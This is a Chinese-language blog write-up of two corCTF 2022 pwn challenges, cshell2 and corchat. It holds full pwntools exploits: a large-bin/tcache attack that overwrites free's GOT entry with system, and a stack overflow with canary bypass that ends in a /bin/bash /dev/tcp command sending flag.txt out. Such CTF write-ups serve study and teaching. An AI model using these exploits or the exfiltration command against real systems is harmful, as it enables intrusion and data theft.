2022 corctf-pwn

本文最后更新于:2023年10月15日 晚上

cshell2

main函数代码

create函数代码

show函数代码

delete函数代码

edit函数代码

change_age函数代码

create,show,delete,edit函数中都检测了chunk数组中对应的chunksize是否为0,这表示在正常情况下,如果chunk被释放了之后,就无法使用show,delete,edit函数,对那个chunk进行操作,但change_age函数可以修改被释放的chunkbk_nextsize字段
create只允许创建大于等于0x408大小的chunk,也就是说只能创建能放入large bin中的chunk,但其中0x410大小的chunk,会优先放入tcache bin

所以这题有两个思路

  • 利用large bin attack修改IO结构体的vtable字段,使程序在进行io操作时执行后门指令
  • 利用large bin attack修改heap_array中某个成员的size,如果这个成员恰好在tcache bin中,那么就可以修改tcache bin的结构,达到任意地址读写

使用one_gadget获取地址报错,所以第一种方法暂时无法利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
"""第二种方法
将got表中的地址放入tcache bin中,修改got表中free项地址为system
"""
from pwn import *
context.log_level='debug'
def add(ind,size,data=[' ',' ',' ',0,' ']):
fn=data[0]
mn=data[1]
ln=data[2]
age=data[3]
bio=data[4]
p.sendlineafter('re-age user','1')
p.sendlineafter('index: ',str(ind))
p.sendlineafter('size (1032 minimum): ',str(size))
p.sendafter('firstname: ',fn)
p.sendafter('middlename: ',mn)
p.sendafter('lastname: ',ln)
p.sendlineafter('age: ',str(age))
p.sendafter('bio: ',bio)

def show(ind):
p.sendlineafter('re-age user','2')
p.sendlineafter('index: ',str(ind))
p.readuntil('last: ')
ln=p.readuntil(' first: ',drop=1)
fn=p.readuntil(' middle: ',drop=1)
mn=p.readuntil(' age: ',drop=1)
age=int(p.readuntil('\nbio: ',drop=1))
bio=p.readuntil('1 Add',drop=1)
return [fn,mn,ln,age,bio]

def free(ind):
p.sendlineafter('re-age user','3')
p.sendlineafter('index: ',str(ind))

def edit(ind,data):
fn=data[0]
mn=data[1]
ln=data[2]
age=data[3]
bio=data[4]
p.sendlineafter('re-age user','4')
p.sendlineafter('index: ',str(ind))
p.sendafter('firstname: ',fn)
p.sendafter('middlename: ',mn)
p.sendafter('lastname: ',ln)
p.sendlineafter('age: ',str(age))
p.sendafter('bio: ',bio)

def change(ind,age):
p.sendlineafter('re-age user','5')
p.sendlineafter('Index: ',str(ind))
p.sendlineafter('age: ',str(age))

e=ELF('./cshell2',checksec=0)
libc=ELF('./libc.so.6',checksec=0)
ld=ELF('./ld.so',checksec=0)
heap_array=0x4040c0
free_got=e.got['free']
p=remote('be.ax 31667')

add(0,0x418)
add(1,0x408)
add(2,0x428)
add(3,0x418)
add(0xa,0x408)
add(0xb,0x408,['/bin/sh\x00',' ',' ',0,' '])

free(0)
free(2)
add(0,0x418)
add(2,0x428)

d=show(0)
d1=u64(d[1].ljust(8,'\x00'))
heap_addr=d1&0xfffffffffffff000

d0=u64(d[0].ljust(8,'\x00'))
print(hex(d0))
libc.address=(d0&0xffffffffffffff00)-((libc.sym['_IO_wide_data_0']+0x20+0x60+224)&0xffffffffffffff00)
print(hex(libc.address))
system=libc.sym['system']
bin_sh=libc.search('/bin/sh').next()
print(hex(heap_addr))

free_f=libc.sym['free']
puts=libc.sym['puts']
fail=libc.sym['__stack_chk_fail']
printf=libc.sym['printf']
read=libc.sym['read']
malloc=libc.sym['malloc']
setvbuf=libc.sym['setvbuf']
scanf=libc.sym['__isoc99_scanf']
free(0xa)

free(1)

heap_array_1=heap_array+0x10
heap_array_1_size=heap_array_1+0x8
print(hex(heap_array_1_size))
free(2)
add(4,0x450)

change(2,heap_array_1_size-0x20)
free(0)
add(5,0x450)
heap_0=heap_addr+0x290
heap_1=heap_0+0x420
heap_1_fd=heap_1+0x10

edit(1,[p64((free_got-0x8)^(heap_1_fd>>12)),' ',' ',0,' '])
add(6,0x408)
add(7,0x408,[p64(system),p64(system),p64(puts),fail,p64(scanf)])
free(0xb)

p.interactive()

corchat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
void *ChatServer::RecvCrusaderMessages(void *context)
{
ChatServer *ctx = (ChatServer *)context;
char buffer[strlen(COR_MSG_TYPES[0]) + 1];
Crusader *cur_crusader;
std::string msg;
while (true)
{
if (ctx->m_connected_crusaders == 0)
continue;
for (int8_t crusader_idx = 0; crusader_idx < MAX_CRUSADERS; crusader_idx++)
{
cur_crusader = ctx->m_crusader_seats[crusader_idx];
if (cur_crusader == nullptr)
continue;
if (cur_crusader->Recv(buffer, strlen(COR_MSG_TYPES[0])) == false)
{
delete cur_crusader;
ctx->m_crusader_seats[crusader_idx] = nullptr;
ctx->m_connected_crusaders--;
continue;
}
if (strcmp(buffer, "SET_UNAME") == 0)
{
msg = cur_crusader->RecvUname();
if (msg == "")
continue;
cur_crusader->SetUname(msg.c_str(), msg.length());
}
else if (strcmp(buffer, "GETSTATUS") == 0 && cur_crusader->is_admin == true)
{
/* 控制程序流时需要将返回地址修改为 call DoAdmin 指令的地址 */
DoAdmin("top -n 1", cur_crusader->m_sock_fd);
}
else if (strcmp(buffer, "_SEND_MSG") == 0)
{
msg = cur_crusader->RecvMessage();
if (msg == "")
continue;
if (ctx->m_connected_crusaders > 1)
ctx->BroadcastMsg(cur_crusader, msg.c_str(), msg.length(), true);
}
else if (strcmp(buffer, "GET_UNAME") == 0)
{
std::string response = "You are known as " + cur_crusader->GetUname() + "\n";
cur_crusader->SendMsg(response.c_str(), response.length(), -1);
}
}
}
}
typedef struct {
char buffer[1024];
uint16_t flags;
uint16_t len;
} cor_msg_buf;

typedef struct {
char buffer[32];
uint16_t len;
} cor_uname_buf;
void DoAdmin(const char *cmd, int8_t fd)
{
FILE *p;
char c;

p = popen(cmd, "r");
if (p == NULL)
{
std::cout << "Something went wrong spawning the process!" << std::endl;
return;
}

while (feof(p) == false)
{
fread(&c, sizeof(c), 1, p);
if (send(fd, &c, sizeof(c), 0) <= 0) break;
}

pclose(p);
}
std::string Crusader::RecvMessage()
{
std::string msg = "";
cor_msg_buf msg_buf;

memset(msg_buf.buffer, '\x00', sizeof(msg_buf.buffer));

if (read(this->m_sock_fd, &msg_buf.len, sizeof(msg_buf.len)) <= 0)
return msg;

if (msg_buf.len >= sizeof(msg_buf.buffer) || msg_buf.len == 0)
return msg;

if (read(this->m_sock_fd, &msg_buf.flags, sizeof(msg_buf.flags)) <= 0)
return msg;

msg_buf.len -= sizeof(msg_buf.flags);
if (msg_buf.len <= 0)
return msg;
/* 当msg_buf.len 等于1 时 1-2==-1
因为msg_buf.len 为uint16_t 类型,所以实际上msg_buf.len会变成65535 */
if (read(this->m_sock_fd, msg_buf.buffer, msg_buf.len) <= 0)
return msg;

msg_buf.buffer[msg_buf.len] = '\x00';
/* 因为程序开启了stack canary,所以需要绕过验证
在程序中存放当前线程的canary的地址就在 &msg_buf+0xd78 的位置
所以可以先通过多次溢出设置当前线程的canary为 0
主要就是通过溢出msg_buf.buffer 修改msg_buf.len的值,来达到0~0xffff范围内任意地址写0*/
msg += msg_buf.buffer;

return msg;
}


通过逆向不难看出这里的a1,指向了代码中的msg,所以如果现在控制程序流调用某个函数,那么那个函数的第一个参数就是&msg,就是我们输入的msg_buf.buffer的内容,在程序中存在函数popen可以指向系统命令,如何可以控制程序流执行popen函数就可以直接在靶机中执行我们像执行的系统命令了,但程序中没有可以用来获取程序地址的漏洞,所以无法通过直接调用popen的方式执行命令,不过可以通过一个能够执行一指令从而调用popen的程序地址,但在当前线程的栈中必须存在与其相近的地址,而Crusader::RecvMessage函数会返回到ChatServer::RecvCrusaderMessages函数中,所以只要控制了返回地址的低两个字节,就可以使程序执行ChatServer::RecvCrusaderMessages函数中的DoAdmin(msg,???);指令,进而利用popen函数执行我们想要执行的系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import time
def setuname(data):
p.send('SET_UNAME')
p.send(p16(0x1f)+data)

def getstatus():
p.send('GETSTATUS')

def sendmsg(data,flags=0):
p.send('_SEND_MSG')
p.send(p16(1))
p.send(p16(flags))
p.send(data)

def getuname():
p.send('GET_UNAME')

p=remote('127.0.0.1','8080')
cookie=0xd78

for i in range(1,8):
print(i)
sendmsg('a'*0x400+p16(0)+p16(cookie+i)+'a'*4+'\x00'*(i+1))
pause()
# set canary=0

payload='/bin/bash -c "cat flag.txt > /dev/tcp/127.0.0.1/8888" '
payload=payload.ljust(0x400,'a')+p16(len(payload))*4+p64(0)*4+'\x11'
sendmsg(payload)

p.interactive()

2022 corctf-pwn
https://rot-will.github.io/page/wp/corctf-pwn/
作者
rot_will
发布于
2022年8月8日
更新于
2023年10月15日
许可协议